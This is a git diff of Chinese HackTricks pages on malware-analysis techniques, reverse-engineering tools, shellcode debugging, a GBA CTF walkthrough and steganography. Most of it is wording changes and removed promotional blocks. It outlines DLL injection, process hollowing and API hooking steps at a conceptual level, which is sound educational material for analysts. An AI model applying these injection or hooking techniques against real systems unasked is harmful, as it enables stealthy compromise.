[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -102,8 +76,8 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,20 +9,12 @@
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 通用
|
||||
|
||||
### 网络
|
||||
|
@ -67,8 +59,8 @@
|
|||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[检查进程是否在运行] | |
|
||||
| CreateFileW/A \[检查文件是否存在] | |
|
||||
| CreateToolhelp32Snapshot \[检查进程是否在运行\] | |
|
||||
| CreateFileW/A \[检查文件是否存在\] | |
|
||||
|
||||
### 隐身
|
||||
|
||||
|
@ -118,12 +110,12 @@
|
|||
3. 在进程中写入DLL的路径:VirtualAllocEx, WriteProcessMemory
|
||||
4. 在进程中创建一个线程以加载恶意DLL:CreateRemoteThread, LoadLibrary
|
||||
|
||||
其他可用的函数:NTCreateThreadEx, RtlCreateUserThread
|
||||
其他可用函数:NTCreateThreadEx, RtlCreateUserThread
|
||||
|
||||
### 反射DLL注入
|
||||
|
||||
在不调用正常Windows API调用的情况下加载恶意DLL。\
|
||||
DLL在进程中映射,它将解析导入地址,修复重定位并调用DllMain函数。
|
||||
DLL在进程内部被映射,它将解析导入地址,修复重定位并调用DllMain函数。
|
||||
|
||||
### 线程劫持
|
||||
|
||||
|
@ -139,7 +131,7 @@ DLL在进程中映射,它将解析导入地址,修复重定位并调用DllMa
|
|||
|
||||
可移植执行注入:可执行文件将被写入受害者进程的内存中,并从那里执行。
|
||||
|
||||
### 进程空洞化
|
||||
### 进程空洞
|
||||
|
||||
恶意软件将从进程的内存中取消映射合法代码并加载恶意二进制文件
|
||||
|
||||
|
@ -155,4 +147,19 @@ DLL在进程中映射,它将解析导入地址,修复重定位并调用DllMa
|
|||
* **IRP**(**I/O请求包**)将数据片段从一个组件传输到另一个组件。几乎内核中的所有内容都使用IRP,每个设备对象都有自己的函数表,可以被钩住:DKOM(直接内核对象操作)
|
||||
* **IAT**(**导入地址表**)用于解析依赖关系。可以钩住此表以劫持将被调用的代码。
|
||||
* **EAT**(**导出地址表**)钩子。此钩子可以从**用户空间**完成。目标是钩住DLL导出的函数。
|
||||
* **内联钩子**:这种类型很难实现。这涉及修改函数本身的代码。可能通过在开头放置一个跳转来实现。
|
||||
* **内联钩子**:这种类型的钩子难以实现。这涉及修改函数本身的代码。可能通过在开头放置一个跳转来实现。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,27 +2,19 @@
|
|||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基于 ImGui 的反向工程工具
|
||||
|
||||
软件:
|
||||
|
@ -52,14 +44,14 @@ dotPeek 是一个反编译器,能够**反编译和检查多种格式**,包
|
|||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
通过全面的插件模型和扩展工具以满足您确切需求的 API,.NET Reflector 节省时间并简化开发。让我们看看这个工具提供的众多反向工程服务:
|
||||
通过全面的插件模型和扩展工具以满足您确切需求的 API,.NET Reflector 节省了时间并简化了开发。让我们看看这个工具提供的众多反向工程服务:
|
||||
|
||||
* 提供对数据如何在库或组件中流动的洞察
|
||||
* 提供对 .NET 语言和框架的实现和使用的洞察
|
||||
* 查找未记录和未公开的功能,以更好地利用所使用的 API 和技术
|
||||
* 查找未记录和未公开的功能,以便更好地利用所使用的 API 和技术
|
||||
* 查找依赖关系和不同的程序集
|
||||
* 精确定位代码、第三方组件和库中的错误
|
||||
* 调试您所使用的所有 .NET 代码的源头
|
||||
* 调试您所使用的所有 .NET 代码的源代码
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
|
@ -68,7 +60,7 @@ dotPeek 是一个反编译器,能够**反编译和检查多种格式**,包
|
|||
|
||||
### DNSpy 日志记录
|
||||
|
||||
为了让 **DNSpy 记录一些信息到文件中**,您可以使用以下代码片段:
|
||||
为了让 **DNSpy 记录一些信息到文件**,您可以使用以下代码片段:
|
||||
```cs
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
|
@ -78,7 +70,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
|
|||
|
||||
为了使用 DNSpy 调试代码,您需要:
|
||||
|
||||
首先,修改与 **调试** 相关的 **程序集属性**:
|
||||
首先,改变与 **调试** 相关的 **程序集属性**:
|
||||
|
||||
![](<../../.gitbook/assets/image (973).png>)
|
||||
```aspnet
|
||||
|
@ -109,7 +101,7 @@ iisreset /noforce
|
|||
|
||||
![](<../../.gitbook/assets/image (318).png>)
|
||||
|
||||
然后选择 **w3wp.exe** 以附加到 **IIS server** 并点击 **attach**:
|
||||
然后选择 **w3wp.exe** 以附加到 **IIS 服务器**,并点击 **attach**:
|
||||
|
||||
![](<../../.gitbook/assets/image (113).png>)
|
||||
|
||||
|
@ -155,9 +147,9 @@ iisreset /noforce
|
|||
* **加载 rundll32**(64位在 C:\Windows\System32\rundll32.exe,32位在 C:\Windows\SysWOW64\rundll32.exe)
|
||||
* **更改命令行**( _File --> Change Command Line_ )并设置 DLL 的路径和您想要调用的函数,例如:"C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* 更改 _Options --> Settings_ 并选择 "**DLL Entry**"。
|
||||
* 然后 **开始执行**,调试器将在每个 DLL 主函数处停止,在某个时刻您将 **停在您的 DLL 的 DLL 入口**。从那里,只需搜索您想要放置断点的点。
|
||||
* 然后 **开始执行**,调试器将在每个 DLL 主函数处停止,在某个时刻您将 **停在您 DLL 的 DLL 入口**。从那里,只需搜索您想要放置断点的点。
|
||||
|
||||
请注意,当执行因任何原因在 win64dbg 中停止时,您可以在 **win64dbg 窗口的顶部** 查看 **您正在查看的代码**:
|
||||
请注意,当执行因任何原因在 win64dbg 中停止时,您可以在 **win64dbg 窗口顶部** 查看 **您正在查看的代码**:
|
||||
|
||||
![](<../../.gitbook/assets/image (842).png>)
|
||||
|
||||
|
@ -171,9 +163,9 @@ iisreset /noforce
|
|||
[cheat-engine.md](cheat-engine.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) 是一个面向 GNU Project Debugger (GDB) 的前端/逆向工程工具,专注于游戏。然而,它可以用于任何与逆向工程相关的内容。
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) 是一个针对 GNU 项目调试器(GDB)的前端/逆向工程工具,专注于游戏。然而,它可以用于任何与逆向工程相关的内容。
|
||||
|
||||
[**Decompiler Explorer**](https://dogbolt.org/) 是多个反编译器的网络前端。该网络服务允许您比较不同反编译器在小型可执行文件上的输出。
|
||||
[**Decompiler Explorer**](https://dogbolt.org/) 是多个反编译器的网页前端。该网络服务允许您比较不同反编译器在小型可执行文件上的输出。
|
||||
|
||||
## ARM & MIPS
|
||||
|
||||
|
@ -183,8 +175,8 @@ iisreset /noforce
|
|||
|
||||
### 使用 blobrunner 调试 shellcode
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) 将 **分配** shellcode 到内存空间中,**指示**您 shellcode 被分配的 **内存地址** 并 **停止** 执行。\
|
||||
然后,您需要 **附加调试器**(Ida 或 x64dbg)到该进程,并在指示的内存地址上放置 **断点** 并 **恢复** 执行。这样您将调试 shellcode。
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) 将 **分配** shellcode 到一块内存空间,**指示**您 shellcode 被分配的 **内存地址** 并 **停止** 执行。\
|
||||
然后,您需要 **附加调试器**(Ida 或 x64dbg)到该进程,并在 **指示的内存地址** 设置一个 **断点**,然后 **恢复** 执行。这样您将调试 shellcode。
|
||||
|
||||
发布的 GitHub 页面包含包含已编译版本的 zip 文件:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
您可以在以下链接找到稍微修改过的 Blobrunner 版本。为了编译它,只需 **在 Visual Studio Code 中创建一个 C/C++ 项目,复制并粘贴代码并构建**。
|
||||
|
@ -195,7 +187,7 @@ iisreset /noforce
|
|||
|
||||
### 使用 jmp2it 调试 shellcode
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) 与 blobrunner 非常相似。它将 **分配** shellcode 到内存空间中,并启动一个 **无限循环**。然后,您需要 **附加调试器** 到该进程,**播放开始等待 2-5 秒并按停止**,您将发现自己处于 **无限循环** 中。跳到无限循环的下一条指令,因为它将是对 shellcode 的调用,最后您将发现自己正在执行 shellcode。
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) 与 blobrunner 非常相似。它将 **分配** shellcode 到一块内存空间,并启动一个 **无限循环**。然后,您需要 **附加调试器** 到该进程,**播放开始等待 2-5 秒并按停止**,您将发现自己处于 **无限循环** 中。跳到无限循环的下一条指令,因为它将是对 shellcode 的调用,最后您将发现自己正在执行 shellcode。
|
||||
|
||||
![](<../../.gitbook/assets/image (509).png>)
|
||||
|
||||
|
@ -203,13 +195,13 @@ iisreset /noforce
|
|||
|
||||
### 使用 Cutter 调试 shellcode
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) 是 radare 的 GUI。使用 cutter,您可以模拟 shellcode 并动态检查它。
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) 是 radare 的 GUI。使用 Cutter,您可以模拟 shellcode 并动态检查它。
|
||||
|
||||
请注意,Cutter 允许您 "Open File" 和 "Open Shellcode"。在我的情况下,当我将 shellcode 作为文件打开时,它正确反编译,但当我将其作为 shellcode 打开时却没有:
|
||||
|
||||
![](<../../.gitbook/assets/image (562).png>)
|
||||
|
||||
为了在您想要的地方开始模拟,请在那里设置一个断点,显然 cutter 将自动从那里开始模拟:
|
||||
为了从您想要的地方开始模拟,请在那里设置一个 bp,显然 Cutter 将自动从那里开始模拟:
|
||||
|
||||
![](<../../.gitbook/assets/image (589).png>)
|
||||
|
||||
|
@ -222,7 +214,7 @@ iisreset /noforce
|
|||
### 反混淆 shellcode 并获取执行的函数
|
||||
|
||||
您应该尝试 [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152)。\
|
||||
它将告诉您 shellcode 使用了 **哪些函数** 以及 shellcode 是否在内存中 **解码** 自身。
|
||||
它将告诉您 shellcode 使用了 **哪些函数**,以及 shellcode 是否在内存中 **解码** 自身。
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||
|
@ -253,34 +245,34 @@ scDbg 还配备了一个图形启动器,您可以选择所需的选项并执
|
|||
apt-get install libcapstone-dev
|
||||
apt-get install libz3-dev
|
||||
```
|
||||
并且[安装 keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md)(`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||
And [安装 keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||
|
||||
如果你正在参加一个**CTF,这个找到标志的变通方法**可能会非常有用:[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
如果你在玩 **CTF,这个找到 flag 的变通方法** 可能会非常有用: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
|
||||
## Rust
|
||||
|
||||
要找到**入口点**,可以通过`::main`搜索函数,如下所示:
|
||||
要找到 **入口点**,可以通过 `::main` 搜索函数,如下所示:
|
||||
|
||||
![](<../../.gitbook/assets/image (1080).png>)
|
||||
|
||||
在这种情况下,二进制文件被称为 authenticator,因此很明显这是有趣的主函数。\
|
||||
拥有被调用的**函数**的**名称**,在**互联网上**搜索它们以了解它们的**输入**和**输出**。
|
||||
拥有被调用的 **函数** 的 **名称**,在 **互联网上** 搜索它们以了解它们的 **输入** 和 **输出**。
|
||||
|
||||
## **Delphi**
|
||||
|
||||
对于 Delphi 编译的二进制文件,你可以使用 [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
||||
|
||||
如果你必须反向工程一个 Delphi 二进制文件,我建议你使用 IDA 插件 [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
如果你需要反向工程一个 Delphi 二进制文件,我建议你使用 IDA 插件 [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
|
||||
只需按 **ATL+f7**(在 IDA 中导入 python 插件)并选择 python 插件。
|
||||
|
||||
此插件将在调试开始时执行二进制文件并动态解析函数名称。启动调试后,再次按下开始按钮(绿色按钮或 f9),并且在真实代码的开头会触发一个断点。
|
||||
该插件将在调试开始时执行二进制文件并动态解析函数名称。启动调试后,再次按下开始按钮(绿色按钮或 f9),断点将在真实代码的开头命中。
|
||||
|
||||
这也非常有趣,因为如果你在图形应用程序中按下一个按钮,调试器将停止在该按钮执行的函数中。
|
||||
这也非常有趣,因为如果你在图形应用程序中按下一个按钮,调试器将在该按钮执行的函数中停止。
|
||||
|
||||
## Golang
|
||||
|
||||
如果你必须反向工程一个 Golang 二进制文件,我建议你使用 IDA 插件 [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
如果你需要反向工程一个 Golang 二进制文件,我建议你使用 IDA 插件 [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
|
||||
只需按 **ATL+f7**(在 IDA 中导入 python 插件)并选择 python 插件。
|
||||
|
||||
|
@ -288,7 +280,7 @@ apt-get install libz3-dev
|
|||
|
||||
## 编译的 Python
|
||||
|
||||
在此页面中,你可以找到如何从 ELF/EXE python 编译的二进制文件中获取 python 代码:
|
||||
在此页面中,你可以找到如何从 ELF/EXE python 编译的二进制文件中获取 python 代码:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
|
@ -296,10 +288,10 @@ apt-get install libz3-dev
|
|||
|
||||
## GBA - Game Body Advance
|
||||
|
||||
如果你获得了 GBA 游戏的**二进制文件**,你可以使用不同的工具来**模拟**和**调试**它:
|
||||
如果你获得了 GBA 游戏的 **二进制文件**,你可以使用不同的工具来 **模拟** 和 **调试** 它:
|
||||
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm)(_下载调试版本_)- 包含带界面的调试器
|
||||
* [**mgba** ](https://mgba.io) - 包含 CLI 调试器
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm) (_下载调试版本_) - 包含带界面的调试器
|
||||
* [**mgba** ](https://mgba.io)- 包含 CLI 调试器
|
||||
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra 插件
|
||||
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra 插件
|
||||
|
||||
|
@ -307,7 +299,7 @@ apt-get install libz3-dev
|
|||
|
||||
![](<../../.gitbook/assets/image (581).png>)
|
||||
|
||||
按下时,每个**键都有一个值**来识别它:
|
||||
按下时,每个 **键都有一个值** 来识别它:
|
||||
```
|
||||
A = 1
|
||||
B = 2
|
||||
|
@ -320,11 +312,11 @@ DOWN = 128
|
|||
R = 256
|
||||
L = 256
|
||||
```
|
||||
所以,在这种程序中,**程序如何处理用户输入**将是有趣的部分。在地址 **0x4000130** 你会找到常见的函数:**KEYINPUT**。
|
||||
所以,在这种程序中,令人感兴趣的部分将是**程序如何处理用户输入**。在地址**0x4000130**,你会找到常见的函数:**KEYINPUT**。
|
||||
|
||||
![](<../../.gitbook/assets/image (447).png>)
|
||||
|
||||
在前面的图像中,你可以看到该函数是从 **FUN\_080015a8** 调用的(地址:_0x080015fa_ 和 _0x080017ac_)。
|
||||
在前面的图像中,你可以看到该函数是从**FUN\_080015a8**调用的(地址:_0x080015fa_和_0x080017ac_)。
|
||||
|
||||
在该函数中,在一些初始化操作之后(没有任何重要性):
|
||||
```c
|
||||
|
@ -347,7 +339,7 @@ FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc);
|
|||
FUN_08000354(&DAT_030000dc,0x3c);
|
||||
uVar4 = DAT_030004d8;
|
||||
```
|
||||
找到这段代码:
|
||||
发现了这段代码:
|
||||
```c
|
||||
do {
|
||||
DAT_030004da = uVar4; //This is the last key pressed
|
||||
|
@ -392,8 +384,8 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
* 首先,它与 **值 4**(**SELECT** 按钮)进行比较:在这个挑战中,这个按钮清除屏幕
|
||||
* 然后,它与 **值 8**(**START** 按钮)进行比较:在这个挑战中,这个检查代码是否有效以获取标志。
|
||||
* 在这种情况下,变量 **`DAT_030000d8`** 与 0xf3 进行比较,如果值相同,则执行某些代码。
|
||||
* 在其他情况下,检查某个 cont(`DAT_030000d4`)。这是一个 cont,因为在进入代码后它会加 1。\
|
||||
**如果** 小于 8,则会进行一些涉及 **添加** 值到 **`DAT_030000d8`** 的操作(基本上是将按下的键的值添加到这个变量中,只要 cont 小于 8)。
|
||||
* 在其他情况下,检查某个计数(`DAT_030000d4`)。这是一个计数,因为在进入代码后会加 1。\
|
||||
**如果** 小于 8,则会进行一些涉及 **添加** 值到 **`DAT_030000d8`** 的操作(基本上是将按下的键的值添加到这个变量中,只要计数小于 8)。
|
||||
|
||||
因此,在这个挑战中,知道按钮的值,您需要 **按下一个长度小于 8 的组合,使得结果的和为 0xf3。**
|
||||
|
||||
|
@ -403,27 +395,21 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
|
||||
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
|
||||
|
||||
## 课程
|
||||
## Courses
|
||||
|
||||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (二进制去混淆)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,28 +1,20 @@
|
|||
# Stego Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **从文件中提取数据**
|
||||
|
||||
### **Binwalk**
|
||||
|
@ -35,7 +27,7 @@ binwalk --dd ".*" file # Extracts all data
|
|||
```
|
||||
### **Foremost**
|
||||
|
||||
根据文件的头部和尾部恢复文件,对png图像非常有用。通过`apt`安装,源代码在[GitHub](https://github.com/korczis/foremost)上。
|
||||
